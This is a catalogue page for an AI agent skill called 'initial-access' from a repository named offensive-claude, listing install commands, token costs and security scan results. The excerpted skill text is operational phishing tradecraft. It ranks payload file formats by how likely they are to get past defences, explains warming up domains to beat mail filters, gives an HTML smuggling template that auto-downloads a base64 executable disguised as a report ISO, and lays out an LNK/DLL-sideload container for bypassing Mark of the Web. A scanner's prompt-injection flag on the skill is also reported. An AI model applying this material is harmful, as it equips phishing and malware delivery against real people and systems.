Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add hypnguyen1209/offensive-claude --skill initial-accessgit clone --depth 1 https://github.com/hypnguyen1209/offensive-claudeWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/hypnguyen1209/offensive-claude/initial-access)<a href="https://agentmods.dev/skills/hypnguyen1209/offensive-claude/initial-access"><img src="https://agentmods.dev/badge/skills/hypnguyen1209/offensive-claude/initial-access.svg" alt="Measured on agentmods" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 1 finding, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high Prompt Injection · line 50 Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.Fix: Audit all comments and invisible characters. Remove any instructions that direct the agent to perform unauthorized actions. Use plain, reviewable content.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00038 | $0.03071 |
| Opus 5 | $0.00019 | $0.01536 |
| Sonnet 5 | $0.00008 | $0.00614 |
| Haiku 4.5 | $0.00004 | $0.00307 |
Grade A, and why
initial-access scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
Copies of this mod
1 near-identical copy found in the catalogue:
- initial-access — 92% identical, 185 lines differ
How it starts
The opening of the file, as written. The whole thing — 364 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Initial Access
When to Activate
- Planning initial access phase of red team engagement
- Developing phishing campaigns and payload delivery
- Bypassing email gateways and endpoint protection
- Exploiting exposed services for initial foothold
Attack Vectors
Email-Based (Phishing)
Payload Delivery Formats (bypass probability):
.exe— almost always blocked.iso/.img— bypasses MOTW (Mark of the Web) on older Windows.html(smuggling) — high success rate.pdfwith embedded JS — moderate.one(OneNote) — effective until patched.lnk+ DLL sideload — high success in ISO container.pptm/.ppsm/.accde— often not covered by default protection
Domain Preparation:
- Domain age > 2 weeks (warm up with legitimate emails first)
- Use HTTPS with valid certificate
- Category: business/technology (not "newly registered")
- SPF, DKIM, DMARC properly configured
- Send legitimate emails first to build reputation
HTML Smuggling
<!-- Construct binary blob in JavaScript, trigger download -->
<html>
<body>
<script>
function smuggle() {
var bin = atob("TVqQAAMAAAAEAAAA..."); // base64 PE
var blob = new Blob([new Uint8Array([...bin].map(c=>c.charCodeAt(0)))],
{type: 'application/octet-stream'});
var url = URL.createObjectURL(blob);
var a = document.createElement('a');
a.href = url;
a.download = 'Report_Q4_2026.iso';
a.click();
}
smuggle();
</script>
<p>Loading document...</p>
</body>
</html>
ISO/IMG Container (MOTW Bypass)
# Structure inside ISO:
├── Report.lnk # Shortcut that executes the DLL
├── legitimate.exe # Signed binary vulnerable to DLL sideload
└── payload.dll # Malicious DLL loaded by legitimate.exe
# LNK target: legitimate.exe (which loads payload.dll from same directory)
# Files inside ISO don't inherit MOTW → bypass SmartScreen
Note: Windows 11 22H2+ propagates MOTW into ISO contents. Use alternative containers or delivery methods for newer targets.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 364 lines · 38 tokens per session scan A 6c726f2d2950
initial-access is a skill published in the GitHub repository hypnguyen1209/offensive-claude (357 stars, last pushed 21d ago), licensed MIT. It adds 38 tokens to every session and 3,071 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
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bt6-merge-train
Run an explicitly authorized, conservative BT6 merge train that processes validated pull requests one at a time and reconciles repository, CI, evidence, and issue state after each merge.
bt6-pr-audit
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bt6-provider-review
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